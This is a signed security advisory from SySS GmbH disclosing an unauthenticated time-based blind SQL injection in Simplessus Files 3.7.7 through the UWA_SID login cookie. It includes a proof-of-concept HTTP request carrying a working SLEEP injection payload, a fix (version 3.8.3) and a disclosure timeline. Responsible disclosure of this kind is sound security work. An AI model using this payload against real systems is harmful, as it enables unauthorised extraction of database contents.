[SYSS-2017-001] Simplessus Files: SQL Injection

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Advisory ID: SYSS-2017-001
Product: Simplessus Files
Manufacturer: Simplessus
Affected Version(s): 3.7.7
Tested Version(s): 3.7.7
Vulnerability Type: SQL Injection (CWE-89)
Risk Level: High
Solution Status: Open
Manufacturer Notification: January 25, 2017
Solution Date: January 25, 2017
Public Disclosure: February 16, 2017
CVE Reference: Not yet assigned
Author of Advisory: Dr. Adrian Vollmer, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Product overview:

Simplessus Files is a file sharing web application.

The manufacturer describes the product as follows (see [1]):

    Simplessus Files is a simple software solution to exchange files and
    documents over the internet. No more file sharing via e-mail, FTP or
    CD-ROM with Simplessus Files replace very large files online easily.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability overview:

Due to insufficient filtering of user controlled input, Simplessus Files is
vulnerable to unauthenticated, time-based blind SQL injection.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

During the login process, the web application passes the value of the cookie
UWA_SID to a database without proper filtering or validation. Because SQL
statements are interpreted by the database, information can be extracted bit
by bit by using the SLEEP function.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

After sending the following request, the web application delays the response
by 40 seconds (probably because the database is queried twice), showcasing
the SQL injection vulnerability.

POST /?lang=de_de HTTP/1.1
Host: <HOSTNAME>
Content-Length: 47
Cookie: UWA_SID=00000000000000000000000000%2b(select*from(select(sleep(20)))a)%2b

core%5Busername%5D=test&core%5Bpassword%5D=test

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to software version to 3.8.3.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2017-01-13: Vulnerability discovered
2017-01-25: Vulnerability reported
2017-01-25: Vendor confirmation
2017-02-15: Public disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Simplessus Files
    http://files.simplessus.com
[2] SySS Security Advisory SYSS-2017-001
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-001.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Dr. Adrian Vollmer of SySS GmbH.

E-Mail: adrian.vollmer@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Adrian_Vollmer.asc
Key ID: 0x037C9FE7
Key Fingerprint: 70CF E88C AEE7 DB0F 5DC8 3403 0E02 7C7E 037C 9FE7

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEEcM/ojK7n2w9dyDQDDgJ8fgN8n+cFAlilYEkACgkQDgJ8fgN8
n+c66xAApjh4/0I9WKd+DraPe1BbIWVa0QkLsCh/3VlGFG+3AHJjRlUcl/Pu/ovw
VwOA7srNIoOjYo2+FrzC943VJ8qpiB0hOzJ6TWuhaFIDCLmEgCn3gO/YIf1rI4w8
+aHmDda50vo2TsnKst2foAD/l32dJ0QjP/Y16im54OrXIRCYvMabO5fb1VjvjM3I
x8crKl9Dl+J1IO3YJTNgimCAfuqbqPs/blGB5b0kdFD99TpsDk1cW+UVS7VCJ90C
wVHACV+vi1mCEnyawrP6TVuRiF3f/ThKvgsB7haXotDu5RrSXqGGK/Bbkuy40TU7
3rtU+e5Vaw+8MMS4AzLnPIAqKTm0M6V40JM8rV8avgznhZ56gdPPvnZ7JU5UiMZ1
NrXv7xk6ss9Oz1XDokB7wANToEAERj/tzDTJpsaTFDuTEt4yycqRu/Jgg7ZHZwzW
xvoYBT3ZyM1wRreMRNZshLPPY8qnvAMRncC+TKCn5ZLmIvL9h3DSt2qm8K9C6f8k
2Qr4J8fvdPgBR6hUNZ9hYEvNslwA9g8S/buPCUUUDkNWOnEzJZ3fQWWxT6VN/X2S
corIt+Ims4AH9ztgvxk9C74WcZAGBAaG42fW7W5durYih748QVZL0J+r4SUhBJaM
wR5+skcLaLtq4Xxk5YTiPLztLmN+TgQmSQLbkK1OCcXhNOmeDxE=
=VLz2
-----END PGP SIGNATURE-----